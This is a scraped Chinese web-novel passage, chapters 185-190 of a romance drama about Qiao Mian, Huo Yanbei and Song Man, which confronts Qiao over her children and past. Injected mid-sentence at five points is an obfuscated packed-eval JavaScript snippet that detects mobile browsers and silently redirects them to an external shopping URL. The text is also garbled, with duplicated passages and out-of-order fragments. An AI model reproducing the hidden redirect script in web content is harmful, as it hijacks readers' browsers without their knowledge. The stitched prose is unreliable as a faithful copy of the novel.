而且,乔安过失致人死亡的丈夫,就是沪城的。 她作为乔安的委托律师,得见见受害者家属,谈赔偿事宜。 争取受害者家属出具谅解书。 …… 办公室。 蒋主任把一份案卷资料放在霍宴北面前的桌子上,“霍总,这是您要的关于乔安案卷的所有资料。” “好的。” 第185章 阿妩的以前 霍宴北翻了一遍后,眉头微皱,“杀夫案?这个案子是萧明城主动找到荣华的?” 在法律方面,他是外行人。 可是,他通背法条,知道这个案子最后会怎样定性。 这么重要的刑事大案,以萧明城的势力,不找京市比荣华更有影响力的大律所,却偏偏找到了荣华…… 霍宴北眉头拧的更深了。 啪一声,把资料扔在一旁,冷笑一声。 醉翁之意不在酒。 冲谁呢? 只能是乔眠! 霍宴北抬起幽冷的眼眸睨向蒋主任,语气很差,“蒋主任,这案子怎么到乔律师手里的,还不打算说实话?” 蒋主任吓得额头冒汗,立马一五一十的解释,“这个案子是萧总主动找荣华合作的,当时我还挺意外的,毕竟,这个案子社会**讨论度都很大,以萧总的地位,完全可以找知名邢辩律师,可是,他却指名让乔律师接下这个案子……” 说到这里,蒋主任小心翼翼的看了一眼脸色越来越难看的霍宴北,“因为被诉的当事人乔安是聋哑人,萧总说,是冲着乔律师是专业的手语律师,才特意委托的,所以,所里接了这个案子后,我就把案子交给了乔律师。” “再说,乔律师业务能力强,又是稀缺的手语律师,这个案子交给她最合适……” 霍宴北听后,凉薄的眼神刮向蒋主任,“蒋主任,乔眠是我的人不假,可如果你的心思一味用在乱拍马屁上,可以退位让贤了。” 蒋主任一个哆嗦,冷汗嗖嗖直冒。 紧接着,听到男人沉冷的问话,“乔安和萧总是什么关系?” 蒋主任紧忙回道,“萧总说,当事人是他的妹妹……” “妹妹?” 霍宴北眉头皱的很紧,骨节分明的手指点了点桌案上的案卷资料,“你也信?” 蒋主任心虚的擦汗,“萧总这么说的,我也不好过度打听委托方的隐私……” 霍宴北捏了下紧拢的眉心,烦躁的摆了下手。 蒋主任如获大赦的退出了办公室。 霍宴北沉闷的起身,走到落地窗前点了一支烟。 乔安的社会背景很简单。 不仅是听障人士,还只是一个很普通的家庭主妇。 性格懦弱,因常年遭受家暴,这才失手杀**丈夫。 这样一个生活在弱势群体的底层小人物,又怎会是萧明城的妹妹? 毕竟,萧家是沪城数一数二的顶级豪门,乔安这样的出身,又怎会和萧家大少产生瓜葛…… 就很奇怪。 偏偏蒋主任只想着通过乔眠拍他的马屁,把这么一个没做过背调的案子塞给了乔眠。 这才有了乔眠去监狱探视乔安,偶遇萧明城的后续。 可是,萧明城为什么偏偏盯上了乔眠? “乔安……乔眠……” 他喃喃自语,仔细品磨着这两个名字,猛然间想起什么,正准备给陈珂打电话时,陈珂的电话却先打了进来。 “霍总,我这边查到一些关于霍妩小姐和周津南之前的一些事情,您回一趟公司。” “好……” 一波未平一波又起。 只要关乎阿妩的一切,他都要清清楚楚的了解清楚。 他不曾了解过的阿妩,他会重新一点点认识她。 走出办公室,途径办公区时,注意到乔眠正坐在工位上低头忙工作。 隔着一段距离,他静静地盯着她。 虽然他的阿妩失而复得,可又觉得这样的阿妩,陌生的让他 有一种患得患失的感觉。 察觉到一道目光落在身上时,乔眠一抬头,只看到霍宴北一个料峭修长的背影。 …… 总参办公室。 陈珂把查到的资料递送到霍宴北手里后,战战兢兢的站在一旁。 “霍总,霍妩小姐和周津南不仅仅是高中同学,还是从小就认识的发小,两人小时候住在县城的同一个职工回迁小区里……” 霍宴北仔仔细细看完查证过的一叠资料后,震惊的眼睛泛红。 阿妩八岁被一对工厂职工夫妻领养,日子过得很不好。 初三被没有血缘关系的兄长差点**…… 看到这里,攥着文件资料的手指都是颤抖的。 陈珂补充道,“霍妩小姐那件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈珂自然懂得老板的意思,“您放心,霍妩小姐的事情,不会漏出去一个字。” “再去查一个人,乔安。” 陈珂不解,“乔安是谁?” “和乔眠有关。” 第186章 宋蔓的逼迫 陈珂自然懂得老板的意思,“您放心,霍妩小姐的事情,不会漏出去一个字。” “再去查一个人,乔安。” 陈珂不解,“乔安是谁?” “和乔眠有关。” 说完,霍宴北又补充了一句,“准确的说,乔安和真正的乔眠有关系。” 阿妩现在虽然待在他身边,但是,对他始终不肯敞开心扉,她心里藏着太多事情,不愿跟他说。 他只能一点点去深挖,了解。 重点是,他不允许阿妩身边出现别的男人。 尤其是,萧明城。 他和周津满一样,看着阿妩的眼神,很不清白。 …… 傍晚。 六点。 乔眠接完孩子们放学后,在超市买了菜,走到公寓楼下,看到路边停着一辆特别扎眼的豪车。 路过的人都会禁不住多看两眼。 包括乔眠。 起初没在意,但是,从车里下来一个身材窈窕的漂亮女人时,乔眠心头蓦地一紧。 是宋蔓。 乔眠下意识的开始紧张起来。 源自于生理上的应激反应,让她禁不住身体有些发抖。 还有一丝发怵。 一如六年前,每次面对宋蔓时,她不是怯懦的默默承受她的羞辱打骂,就是慌措不安的逃避。 可现在,虽然依旧对宋蔓的出现有些惊怵,但很快就镇静了下来。 和面对霍宴北时不一样,因为她总是捉摸不透他在想什么,或者要做什么。 而宋蔓,表面温婉端方,但骨子里带着一股千金大小姐的傲气和娇贵。 行事手段浅薄,情绪都写在脸上。 注意到宋蔓从下车后,目光像是淬毒了似的盯着她之后,又很快落向了孩子们时,她就知道,宋蔓来找她,不是单纯的因为霍宴北和她之间的关系。 “没想到乔律师居然有三个孩子,真是羡慕啊。” 宋蔓踩着高跟鞋走近时,蹲下身体,近距离盯着三个可爱的孩子,弯着眼睛,笑得温柔又美丽,“三个小宝贝,你们几岁了?” 乔眠眉心一紧。 下意识将三个孩子们往怀里揽了一下,正欲开口时,乔慕城倒是先开了口,“我们六岁了,阿姨,你是我妈妈的朋友吗?” “六岁……” 宋蔓对这个回答似乎有些意外,表情不自然的僵了一下后,笑着点点头,“我和你们的妈妈是老朋友了。” 说到这里,明锐的目光望向乔眠,“是不是啊,乔律师。” 听到这句话,乔眠更加确定了之前的猜测。 宋蔓今天找她,是‘叙旧’的。 既然已经找上门了,逃避不是办法。 她抿紧唇角,语气淡静,“霍太太,如果找我有事要谈的话,请允许我把孩子们送上楼再说,可以吗?” 在酒吧兼职,一晚上确实不少挣。 尤其是遇到大款,小费给的多。 她虽然对薪资心动,但这家酒吧的老板,是霍宴北的侄子。 她好不容易躲开霍宴北,不想跟霍家人再扯上关系。 况且,前段时间,因为她的举报,导致酒吧被停业整顿了。 她有些心虚。 虽然,她不认为自己做错了。 乔眠认真想了许久,还是决定不去。 虽然,她也知道,在酒吧不可能会碰到霍宴北。 因为,霍宴北不沾烟酒。 他喜静。 厌恶嘈杂的地方。 …… 晚上七点。 霍氏集团。 总裁办公室。 霍宴北忙碌了一天,还在加班。 陈珂将一杯热茶放在他面前:“二爷,您的病刚好没几天,顾医生让我提醒您别太劳累了。” “嗯。” 这时,手机响了一下。 男人看都没看,将手机反扣在桌案上。 陈珂问:“二爷,怎么了?” 霍宴北烦闷的把手机丢给陈珂:“怎么设置,才能不被添加微信好友?” 陈珂:“您被骚扰了吗?” “嗯。” 这一周,每天都被一个叫什么‘芋粥无底美少女’的人添加好友。 很烦。 陈珂看着那条好友申请,思索片刻后,回道:“二爷,能添加您微信的,必定是知道你私人手机号的人,您的名片一般不会轻易给出去的,或许这个人,是您认识的人呢?” 说罢,看清楚申请好友那人的昵称时,忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204583|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,“芋粥无底美少女?好几个错别字,是故意写错字的?” “应该是宇宙无敌美少女吧……” “对方肯定是个女孩。” “二爷,您给过哪个女孩名片吗?” 陈珂自说自话。 霍宴北烦躁的拧了拧眉。 忽然想起什么,从陈珂手里拿回手机,盯着那条好友申请良久,点了通过。 发了一条消息过去。 【你是谁?】 等了两分钟,对方没有回复。 他准备拉黑删除时,对方回复:【我跟大美女乔眠。】 霍宴北眼神困惑地盯着聊天对话框里,‘我跟大美女乔眠’这条消息。 又有一个错别字。 应该是‘我是大美女乔眠’…… 所以—— 这些天,一直骚扰加他微信的……是乔眠? 她真的很奇怪。 之前,他加她微信,被拒。 现在,她却用另一个微信号,疯狂加他…… 这操作很迷。 微信头像是她的照片。 这个微信号,应该就是她的。 可这古早土味的昵称,不像那女人的风格。 自恋张扬的开场白,也不像她嘴里会说出来的话。 毕竟,两人每次见面,她在他面前沉默如金。 好像在有意躲避他。 还有—— 她是小学文化? 明晃晃的错别字。 霍宴北好笑的扯了扯嘴角,发过去一条消息:【加我,有事?】 那边,乔慕心盯着微信新收到的消息,惊喜的拍手,“霍叔叔回消息啦。” 乔慕野念着上面几个不大认识的字,“加X,有X……哥,那两个字读什么啊?” 这些日子,三个小家伙恶补识字大全,但有些字,还不认识。 乔慕城记忆力和学习能力比弟弟妹妹强一些,这几个字,他是认得的。 他一个字一个字念给弟弟妹妹听:“加、我、有、事……?” 乔慕野:“霍叔叔这么问,我们该怎么回复?” 乔慕心星星眼:“就说相亲吧。” 乔慕城无语:“应该先搞清楚,他是做什么工作的,有没有钱,适不适合妈妈。 第187章 了解 乔慕野:“还有了解一下,他是不是单身。” 乔慕心:“对嗷,还要问问年龄,我不要太老的爸爸。” 乔慕城抓了抓脑袋:“那就一条一条问清楚。” 弟弟妹妹们举手赞成。 乔慕城费了好半天,才编辑出一串文字,发了过去。 【你几碎了?】 【劫婚了骂?】 【有歉吗?】 霍宴北收到这几条消息时,唇角抽搐了一下。 盯着看了一会儿,才意会出对方在问什么。 一大堆错别字…… 应该问的是—— 你几岁了? 结婚了吗? 有钱吗? 男人薄唇轻勾。 气笑了。 那个女人,看起来安安静静,温温柔柔的,怎么看也不像是会发癫的人…… 他直接拨打了一通视频电话。 他想问清楚,这个女人到底想干什么。 但是,对方迟迟没有接。 霍宴北脸色发沉,把手机撂在桌子上。 身体颓困的陷进真皮座椅里,指骨按捏着眉心,挑眉轻笑了一声。 乔眠这个女人,挺有意思的。 陈珂看到二爷唇角噙着一抹似有若无的笑意时,还以为眼睛出问题了。 二爷真的很久没有笑过了。 平日里,二爷总是一张高冷严肃脸,对谁都是疏离寡淡的态度。 每天把自己绷的像一根弦。 现在,居然笑了。 他好奇的问了一嘴:“二爷,是那个小护工又给您发什么了吗?” “自己看。” “……” 陈珂拿起手机,看完后,先是愣了愣,而后忍不住乐了:“这么多错别字……今天也不是愚人节啊,这个小护工是在恶作剧吗?” 霍宴北抬了抬下巴:“查查这个微信号的实名认证是谁。” “您怀疑对方不是乔眠?” 男人手指抵着太阳穴,闭目养神:“不接视频电话,就很有问题。” 陈珂再次琢磨了一遍那几条消息,“二爷,我怎么觉得这小护工打听您的个人隐私,是想跟你发生点什么呢。” “是吗?” 霍宴北不这么觉得。 那个女人每次看见他,就像老鼠见了猫似的,还不愿同他开口说话。 “我觉得是小护工看上您了,发这些消息,就是为了引起您的注意,要不然,她干嘛锲而不舍的加您微信?” 陈珂分析。 霍宴北听得头疼脑胀。 他不喜欢弯弯绕绕。 直接拿起手机,拨通了一串手机号。 此时,乔眠在外面送外卖。 商家出餐慢,她正站在餐厅前台等着取餐。 穿着一身男款黑色冲锋衣套装。 版型又肥又大,将凸显女人特征的身段包裹的严严实实。 戴着黑色头盔,黑色口罩。 还有挡风眼罩。 全副武装,只露出几缕鬓发。 如果不开口说话,以为是男生。 她只要晚上送外卖,都会乔装成男生,这样能避免不少麻烦。 此刻,盯着手机屏幕闪着的一串手机号时,就像握着一颗**似的。 乔眠警铃大作,慌的差点把手机扔出去。 怪记忆太好,一眼认出是霍宴北的手机号。 他为什么给她打电话? 还是晚上。 她心里发慌,拒接了。 “小伙,08号餐好了。” 服务员招呼她。 乔眠走过去,接到餐后,看时间快超时了。 她急忙往餐厅外走。 外面很冷,还零星飘着雪花。 她却冒了一身冷汗。 手机再次响起。 是顾客打来的。 乔眠按了接听键。 一句‘您好’,还没说出口,对方不耐烦的催促声传入耳中,“都快超时了,我订的外卖怎么还没送到?再不快点送过来,我就不要了!” “抱歉,我马上给您送过去。” “快点啊,超时我就投诉!” “马上,您稍等。” 挂断电话后,乔眠快速将外卖放进餐箱,骑上电动车,马不停蹄地朝顾客家奔去。 这才是她的世界。 平淡又忙碌。 …… 望着被拒接的手机屏幕,霍宴北脸色发沉。 这个女人微信打听他个人隐私,给她打电话,却不接…… 有病! 男人冷着脸撂下手机。 点了一根烟,噙在嘴里,点燃后,走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210322|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到落地窗前,深深地吸了一口。 青色烟雾从鼻间逸出,又很快散开。 他有一种被戏耍的愤懑。 陈珂:“二爷,我去查查这个微信号的实名制是不是那个小护工。” 霍宴北没作声。 就是默许。 …… 乔慕心双手撑着脸颊,嘟着嘴:“霍叔叔刚才打视频电话,真是吓死我了。” 乔慕城皱着小脸,“算了,这个霍叔叔看着不好相处的样子,放弃这个备胎爹吧。” 乔慕野:“那我们就在征婚网上给妈妈征婚。” 三个小家伙又来了精神,小脑袋瓜儿凑到一起,刷着婚恋APP的主页。 “哇,妈妈很受欢迎啊,这么多人跟妈妈打招呼。” 乔慕心指着妈妈照片下面显示999+的评论,惊叹道。 虽然评论区里的字认不全,但是,那些示好的各种表情包,说明妈妈的美色超级吸量。 乔慕城特别有成就感的扬了扬眉,“这么多人喜欢妈妈,我们一定能给妈妈挑一个好老公,给我们找一个好爹。” 乔慕野:“那我们什么时候告诉妈妈征婚的事情?” “先保密,妈妈那么忙,我们先筛掉一些不符合条件的叔叔,把好叔叔们留下来,让妈妈慢慢挑。” “好耶。” 三个小家伙天真又懂事的为妈妈的将来打算。 乔眠却不知道自己已经被她那三个小乖宝挂到了征婚网上。 这两天,总是接到一些陌生人发来的消息。 还有电话。 大多都是‘乔眠女士,你好,我们可以认识一下吗?’类似的开场白。 她以为是推销或是**电话,起初没在意。 后来,电话和短信轰炸越来越多。 她怀疑自己的手机号被泄露了,于是,只要看到不认识的手机号,一律拉黑或是拒接。 并没有把这件事往深处想。 陈珂已经把‘芋粥无底美少女’这个微信号的调查结果,告诉了霍宴北。 “二爷,已经查过,那个骚扰您的微信号,实名认证的手机号,确实是乔眠的。” 霍宴北觉得好笑。 更多的是好奇。 他点开微信。 第188章 回到沪城 “当然。” 她轻哼一声,转头上了车。 乔眠领着孩子们上楼,进屋后,嘱咐孩子们乖乖在家,不要乱跑后,只拿着手机就下楼了。 两人在公寓附近的一家咖啡厅落座后,宋蔓也不装了,直接开口戳穿她的身份,质问:“霍妩,那三个孩子是谁的?” 乔眠白皙的手指捏着瓷勺,动作轻缓的搅动着咖啡,并没有因为被戳穿身份而感到惊乱,表情很淡定的回了一句,“刚才不是听到了?我的孩子今年六岁,和霍宴北没有关系,霍太太,不必联想太多。” 说完,歪头轻笑了一下,“是温医生告诉你,我是霍妩的吧。” 她不是猜测,是确定。 在京市,只有周津南和温白扬知道她的**。 周津南不会出卖她。 但,温白扬……和宋蔓是发小。 而且,曾经,她无意间撞见过温白扬和宋蔓在一起的画面。 当时,两人在吵架,可能认为她听不到,吵架时,口不择言把两人在国外好过一段时间的事情说了出来。 当时,她没往深处想。 因为,宋蔓曾经和霍宴北退婚,并去国外读书一事,不是什么秘密。 两人分开,宋蔓有新的恋情,并不奇怪。 唯一让她意外的是,宋蔓跟霍宴北的好兄弟在一起过…… “你这是承认了?” 宋蔓没有正面回答她的问题,反正表明了一切,但又质问了一遍,“孩子真的不是宴北的?” 乔眠把咖啡杯放在桌子上,蹙眉看着宋蔓,“既然温医生把事情都告诉你了,何必非来找我确认结果呢?” 温白扬之前说过,他做过两份亲子鉴定。 给霍宴北的那份是假的。 她不信,温白扬没有把真正的亲子鉴定结果告诉宋蔓。 宋蔓多次一问,无非是想从她口中亲自证实。 又或者,她对温白扬并没有足够的信任。 无论是哪种结论,乔眠是不会给宋蔓留下口实的,仍是态度坚定的告诉她,“宋蔓,孩子们和霍宴北没有任何关系,无论谁问,哪怕霍宴北亲口问,我还是同样的回答,懂吗?” 她坚定的表明了态度和立场。 但宋蔓却像看仇人的眼神一样瞪着她,“霍妩,除非你离开京市,彻底消失,要不然拿什么保证以后不再打扰我和宴北的婚姻生活?” 说这话时,宋蔓摆出了霍太太的身份和架势。 这让乔眠潜意识中觉得自己就像一个见不得光的小三。 在原配面前,不仅理亏,还应该羞愧。 一如六年前,圈里人都知道她是霍宴北养在身边的女人,可就因为宋蔓是他名义上的未婚妻,所以,她只能沦为情人的身份。 哪怕霍宴北不止一次告诉她,他和宋蔓没有领证,但她还是会把自己代入三角关系中最不光彩的角色中。 “宋蔓,我和霍宴北现在的关系,我不否认,也无力解释,但是,我想说的是,如果时间能够重来,我宁愿自己死在六年前那场大火中,也不愿意和你们纠缠不清,无论你们是真夫妻还是假夫妻,你逼我,起不到任何作用,你应该去找霍宴北,让他不要再踏入我的生活,如果你能够做到,我还会说一声谢谢。” 她字字肺腑,可是宋蔓听后却火冒三丈的站了起来,端起面前的咖啡就泼到了乔眠脸上,“霍妩,你简直和六年前一样不要脸,当了**还想立贞洁牌坊?你不想掺和我们的婚姻,你会收下宴北给你买的房子?不想让宴北知道孩子的身世秘密,会坦然接受他给你的孩子安排的幼儿园?” 听完宋蔓炮语连珠的质问,乔眠脸上的表情除了震惊之外,有片刻的怔愣。 “房子是我租的,幼儿园也是我找的……” 她一字一句解释,但是,声音却越来越小。 潜意识里,有些不自信了。宋蔓如果不是知道什么,也不会说的这么信誓旦旦。 很快,宋蔓就将一份文件扔到了她面前。 “霍妩,你还真是和六年前一样能装,不要脸!” 乔眠无视对方的恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210323|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言相向,快速看完文件后,满脸错愕。 她手上拿的是一份房产赠予协议。 上面明确注明,她现在租的这套房子,已经归于她名下。 紧接着,宋蔓又从手机里调取一张照片,展示给她看。 照片是监控视频截取的画面,虽然不够清晰,但她还是一眼就认出,画面中的男人是陈珂。 而另一个人,是她之前为了孩子上学的事情,几次拜访过的幼儿园园长。 虽然霍宴北没有出现在画面中,但她很明白,陈珂已经代表了一切。 所以,她租房,给孩子找幼儿园,都是霍宴北在背后帮她的…… 想来也是她蠢,才会相信低价居然能够租到便宜的精装公寓。 还会信了前面几次拒绝接收孩子入园的幼儿园园长,会突然改变主意…… 此时此刻,她感觉自己在宋蔓面前,就像一个偷了东西还在狡辩,却又被戳破脸皮的贼。 自尊碎了一地,羞愧的无地自容。 “抱歉,这些,我不知情……” 她知道再怎么解释也是苍白的,宋蔓压根也不会相信。 而且,她现在和霍宴北的关系,确实不够光彩明朗。 “你会不知情?” 宋蔓嘲讽的冷笑一声,“霍妩,六年前,你就是一副装无辜博同情的不要脸嘴脸,明知道我和宴北马上要订婚了,还黏在他身边不肯滚,六年后,又是这副做派,你还真是天生**,喜欢当情人当上瘾了是不是?” 宋蔓骂的很难听,每一句话都精确戳到了她曾经不愿回忆的痛点上。 而她连还嘴反击的理由都没有。 因为,宋蔓骂的是事实。 六年前,她就是霍宴北的情人,至于现在,她确实掺和进了霍宴北和宋蔓的生活。 尽管霍宴北一再跟她明确过,跟宋蔓不是夫妻。 “宋蔓,你今天找我,不单单只是辱骂解气的吧?” 良久的隐忍和沉默后,她强行压下心中翻涌的坏情绪,也不再作无谓的解释,直问主题。 第189章 逼她离开 宋蔓这个人目的性很强,肯定不是单纯为了辱骂她才找来的。 “到底和以前不一样了,不仅不聋不哑了,还当上了律师,脑子也灵光了不少。” 宋蔓从包里掏出一张银行卡,一副高高在上的姿态,扔在她身上,“六年前,如果你还要点脸的话,就拿上这笔钱,从此以后,从我和宴北的生活中滚的越远越好!” 乔眠捡起掉在地上的银行卡,不禁苦笑。 六年前,宋蔓和霍宴北订婚前夕,也曾和现在这般情景,扔给她一张银行卡,让她离开霍宴北。 当时,她本就已经对霍宴北心死,和周津南约定好,寒假结束就一起去沪城实习闯荡的。 所以,并没有收那张卡。 至于现在,乔眠仍是将卡退还给了宋蔓,“宋蔓,我是个自由的人,不会为了谁放弃我原本安定的生活,我还是那句话,与其逼我,不如奉劝霍宴北从此之后远离我的生活,只好是你们一辈子和和美美,不要再来扰我!” 说罢,她没再多看宋蔓一眼,转身就走。 宋蔓气得脸都绿了,也不顾公共场合,撞开椅子,快步跟上来,张口就骂,“霍妩,你插足我的婚姻生活,就没见过你这么不要脸的女人!” 听到辱骂声,乔眠脚步顿了一下,深深地吸了一口气,再次忍了下来,抬步继续朝门口走去。 宋蔓满腔怒火得不到一个宣泄口,就像一拳砸进了棉絮中,越想越气,情绪控制不住时,冲着她的背影吼了一句,“霍妩,你以为你改名换姓,变瘦了,我就认不出,你就是当年一中那个最出名的滥交小学妹……” 话音未落,乔眠猛地转身,狠狠的一巴掌挄在了宋蔓脸上。 “你敢打我?” 宋蔓捂着瞬间红肿起来的脸,不敢置信的瞪着乔眠,“秦妩,你……” “闭嘴!” 乔眠憎恶的眼神瞪着她,压着嗓音呵斥了一声后,抬手攥住了宋蔓的衣领,警告的语气说道,“宋蔓,当年你是怎么牵头霸凌我的,又是怎么制造谣言诋毁我名声的,你心里有数,我不提,不代表我忘记了。” 宋蔓眼神里闪过一丝惊措后,仇恨的瞪着她,“你那些烂事,但凡京市一中的同学,哪个不知道?现在早已过去了那么久,又能拿我如何?” “拿你如何?” 乔眠忽然逼近宋蔓,微微弯腰,近距离盯着那张美丽却丝毫没有一点悔意的面孔,一如当年,她被同学一次次堵在器材室,扒衣扇脸打骂,她不解又恐惧的看着站在背后,欣赏着她遭受欺辱的宋蔓时的眼神一样。 那时,她不懂,她和宋蔓无冤无仇,宋蔓一个高高在上的富家小姐,又是学校里成绩颜值绝顶的高三学姐,为什么会对她一个高一新生充满了恶意。 就像此刻,事过境迁,她甚至逼迫自己不再想起秦妩这个名字,忘却高中时的经历,可是,宋蔓却偏要跳出来,还理直气壮的提及秦妩这个名字…… 她是怎样做到理直气壮的…… 她以为,少时的恶意源于春青期的叛逆,所以,后来,她以霍妩的身份待在霍宴北身边,和从国外回来的宋蔓再次遇上,却没被对方认出来时,她没有找宋蔓清算高中被霸凌一事。 可现在—— 乔眠轻笑了一声,掀动嘴唇,念出了一串人名,“刘梓,张欣,李沫,赵琳,冯春妍……” “这些人是……” 宋蔓一时懵住。 对这些人名有印象。 但对不上脸。 乔眠站直身体,抱着胳膊,冷笑一声,“当年跟在你身边,欺负我的那些同学,宋蔓,你现在不太记得他们了,可我还一个个记得很清楚呢。” 说到这里,她又一个个报出了每一个人的职业,所在的工作单位,以及家庭住址。 宋蔓惊愕的张了张嘴,好半天才反应过来,“你调查他们?” “当年,我被欺负,没有能力保护自己,不代表脑子蠢,不记仇。” 说到这里,乔眠眼神一下子变得无比清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215219|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,唇角却挂着一抹哂笑,“欺负过我的每一个人,我都记得清清楚楚,没有掀桌子,是因为不想回忆以前那些发生在自己身上的肮脏事,如果你非逼我的话,那我就把你们这些人一个个搜罗起来,挂在网上公开处刑。” “你敢!” 宋蔓怒吼着瞪向乔眠,“过去那么多年了,你有证据吗?” “证据?” 乔眠冷笑,“你的这些个老同学,现在有职场精英,也有小有名气的明星,还有体制内端铁饭碗的,你说,我一个个找过去揭他们老底,你说,他们会不会为了保全自己的名声,卖了一个早就把他们忘在九霄云外的著名钢琴家?” “你……” “哦对了,你现在对外的身份是霍太太呢,想必网上反响一定会很激烈。” 宋蔓怒斥道,“即便你爆出去,以为有人会信?乔眠,你别忘了,在京市,没有哪家媒体敢爆霍家的丑闻。” “是吗?” 乔眠娇俏一笑,猛地抬手勾住宋蔓的脖颈,将人拉到面前,附耳过去,低如魑魅般的话飘入宋蔓耳中,“媒体动不了霍太太,你说悬剑敢不敢?” 宋蔓震惊的瞪大了眼睛,一把推开她,“你就是悬剑?之前,在微博发文,煽动**,制造话题热度,把阿沉那两个朋友送进去的悬剑?” 乔眠没有否认,淡淡警告了一句,“宋蔓,别逼我鱼死网破,我再说一遍,逼我没有用,我只想过好自己的日子,如果你能把霍宴北带离我的生活,我还要谢谢你。” 说完,她头也不回的走了。 宋蔓僵硬的站在原地很久。 原来掌控全局的她,此刻,却要掂量着对付乔眠了。 没想到,悬剑真的是乔眠。 悬剑这个账号,拥有大量粉丝群体。 这些年,爆的都是一些社会热度骇闻。 信服力很高。 甚至被称为人民的小法官。 若是她欺凌同学的旧闻被挂在悬剑的微博上,名声可就全毁了。 第190章 回沪城 若是她欺凌同学的旧闻被挂在悬剑的微博上,名声可就全毁了。 重点是,要是宴北知道她曾经霸凌过的秦妩就是霍妩的话,她这个虚假的霍太太也就当到头了。 宋蔓愤愤走出咖啡厅,开车去找了温白扬。 温白扬刚做完一台手术,身心疲累的回到家,就看到一地狼藉。 他家里但凡能砸的东西,统统被毁了。 “怎么发这么大脾气?” 温白扬走过去,揽住她的肩膀,温声询问,“你身体不好,别总是动气。” 宋蔓没说话,推开温白扬的手,从他口袋摸出打火机和烟,点了一支刚咬进嘴里,却被男人抢走送进了自己嘴边抽了一口,“你该不是去找了乔眠吧?” 宋蔓恨恨的咬了咬牙,“她对自己的身份完全没有否认,孩子是宴北的,也默认了。” “所以,你做了什么?” 温白扬轻笑一声,补充道,“该不是和六年前一样,又拿钱逼她走吧?” “是!但是,她没要。” “宋蔓,乔眠若是爱钱,六年前就不会逃离宴北六年。” “你是不是蠢?” 宋蔓怨气冲天的瞪了温白扬一眼,“她不要钱,那是妄取缔我上位,是个人都懂得一时的利益,比不过霍太太这个名头带来的一辈子风光利益,乔眠不是不爱钱,她是野心太大,想要的太多。” 温白扬摇了摇头,叹了一声,“宋蔓,不是每个人都和你一样,既要还要,无论是六年前的霍妩,还是现在的乔眠,看重的从来不是利益,懂吗?” “温白扬!” 宋蔓目刺欲裂的瞪着面前的男人,“你一直都在帮乔眠说话,难道你和顾淮年一样,被那个女人蛊惑,喜欢上了她?” 温白扬无语又恼火的拧紧了眉,“你能不能别这么无理取闹?我想说的是,你不要总是把乔眠当做你的假想敌。” “假想敌?” 宋蔓气得浑身发抖,“也就是你们男人蠢,才会把乔眠看作是人畜无害的小白兔,你知不知道,她今天拿高中那些破事威胁我?她就是那个神秘的微博小法官悬剑!” 温白扬对此有些意外,但很快就警醒宋蔓,“那你更不要招惹她,你把她逼急了,对你有什么好处?” “我是来找你解决问题的,不是听你教训的!” 宋蔓气得直跺脚,和温白扬吵了一架后,甩门离开了。 而乔眠,回到公寓后,孩子们已经乖乖的洗洗睡觉了。 她洗完澡躺在床上,始终难眠。 她给阮薇打了一个视频电话。 “阮薇姐,我现在租的公寓,当初你在哪儿看到的房源?” “房产中介给我打电话推荐的啊,当时,你着急搬家,我就在平台上发布了求租信息,没成想,很快就有中介联系我,推荐了很多房源。” 那端,阮薇眼睛红红的,鼻音有些重,“怎么了?房子出什么问题了?” 乔眠叹了一声,“现在这套公寓在我名下,是霍宴北买的,包括孩子们上的幼儿园,也是他在背后帮忙的。” 阮薇听后,发出一声感慨,“行啊,他还算办了一件人事。” “可是,这房子……” “等等!你该不是又想搬家吧?” 阮薇一眼看穿她的心思,摆手打断她的话,问道。 乔眠蹙了下眉,没有表态。 但情绪都写在脸上。 阮薇劝道,“别说一套房子,就是十套房子也是你和孩子应该得的。” 